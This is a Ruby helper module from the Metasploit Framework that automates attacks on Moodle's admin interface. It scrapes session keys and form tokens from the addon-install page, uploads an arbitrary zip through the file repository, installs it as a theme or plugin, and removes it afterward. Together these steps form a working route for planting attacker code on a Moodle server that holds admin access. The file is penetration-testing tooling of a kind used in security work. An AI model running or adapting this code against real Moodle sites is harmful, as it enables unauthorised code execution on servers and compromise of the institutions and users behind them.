lib/msf/core/exploit/remote/http/moodle/admin.rb
# -*- coding: binary -*-
module Msf::Exploit::Remote::HTTP::Moodle::Admin
# Retrieves variables required for uploading an addon
#
# @return [String] session key
# @return [String] item id
# @return [String] author name
# @return [String] client id
def get_addon_variables
res = send_request_cgi!(
'keep_cookies' => true,
'uri' => moodle_admin_addon_install
)
sesskey = res.body.split('"sesskey":"')[1].split('"')[0] # fetch session info
item_id = res.body.split('amp;itemid=')[1].split('&')[0] # fetch item for upload
author = res.body.split('title="View profile">')[1].split('<')[0] # fetch admin account profile info
client_id = res.body.split('client_id":"')[1].split('"')[0] # fetch client info
return sesskey, item_id, author, client_id
end
# Uploads an addon to Moodle
#
# @param addon_name [String] Name of addon to be uploaded
# @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
# @param addon_content [ZipArchive] Zip of the addon content
# @return [String,nil] file ID of the uploaded zip file, nil on failure
# @return [String,nil] Session key, nil on failure
def upload_addon(addon_name, moodle_version, addon_content)
sesskey, item_id, author, client_id = get_addon_variables
# creating multipart data for the upload addon file
pdata = Rex::MIME::Message.new
pdata.add_part(addon_content, 'application/zip', nil, "form-data; name=\"repo_upload_file\"; filename=\"#{addon_name}.zip\"")
pdata.add_part('', nil, nil, 'form-data; name="title"')
pdata.add_part(author, nil, nil, 'form-data; name="author"')
pdata.add_part('allrightsreserved', nil, nil, 'form-data; name="license"')
pdata.add_part(item_id, nil, nil, 'form-data; name="itemid"')
pdata.add_part('.zip', nil, nil, 'form-data; name="accepted_types[]"')
if moodle_version < Rex::Version.new('3.9.0')
pdata.add_part('4', nil, nil, 'form-data; name="repo_id"')
else
pdata.add_part('5', nil, nil, 'form-data; name="repo_id"')
end
pdata.add_part('', nil, nil, 'form-data; name="p"')
pdata.add_part('', nil, nil, 'form-data; name="page"')
pdata.add_part('filepicker', nil, nil, 'form-data; name="env"')
pdata.add_part(sesskey, nil, nil, 'form-data; name="sesskey"')
pdata.add_part(client_id, nil, nil, 'form-data; name="client_id"')
pdata.add_part('-1', nil, nil, 'form-data; name="maxbytes"')
pdata.add_part('-1', nil, nil, 'form-data; name="areamaxbytes"')
pdata.add_part('1', nil, nil, 'form-data; name="ctx_id"')
pdata.add_part('/', nil, nil, 'form-data; name="savepath"')
res = send_request_cgi!({
'method' => 'POST',
'data' => pdata.to_s,
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'repository', 'repository_ajax.php'),
'vars_get' => {
'action' => 'upload'
}
})
unless res.body =~ /draftfile.php/
return nil, nil
end
file_id = res.body.split('draft\/')[1].split('\/')[0]
return file_id, sesskey
end
# Uninstalls an addon from Moodle
#
# @param addon_name [String] Name of addon to be uploaded
# @param moodle_version [Rex::Version] Version of the moodle instance, as a Rex::Version
# @param sesskey [String] session key
# @return [HttpResponse] HttpResponse object
def remove_plugin(addon_name, moodle_version, sesskey)
if moodle_version < Rex::Version.new('3.9.0')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'cache' => '0',
'confirmplugincheck' => '0',
'abortinstallx' => '1',
'confirmabortinstall' => '1',
'sesskey' => sesskey
}
})
else
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'cache' => '0',
'confirmrelease' => '1',
'confirmplugincheck' => '0',
'abortinstallx' => addon_name,
'confirmabortinstall' => '1',
'sesskey' => sesskey
}
})
end
end
# Integrates an addon to Moodle
#
# @param sesskey [String] session key
# @param file_id [String] ID of the file to integrate
# @param plugin_name [String] name of the plugin file
# @param type [String] The type of addon being added. Defaults to 'theme'
# @return [HttpResponse,nil] HttpResponse object, nil on failure
def plugin_integration(sesskey, file_id, plugin_name, type = 'theme')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'sesskey' => sesskey,
'_qf__tool_installaddon_installfromzip_form' => '1',
'mform_showmore_id_general' => '0',
'mform_isexpanded_id_general' => '1',
'zipfile' => file_id,
'plugintype' => type,
'rootdir' => '',
'submitbutton' => 'Install+plugin+from+the+ZIP+file'
}
)
return nil unless res.body =~ /installzipstorage/
storage = res.body.split('installzipstorage=')[1].split('&')[0]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'tool', 'installaddon', 'index.php'),
'keep_cookies' => true,
'vars_post' => {
'installzipcomponent' => "#{type}_#{plugin_name}",
'installzipstorage' => storage,
'installzipconfirm' => '1',
'sesskey' => sesskey
}
)
end
end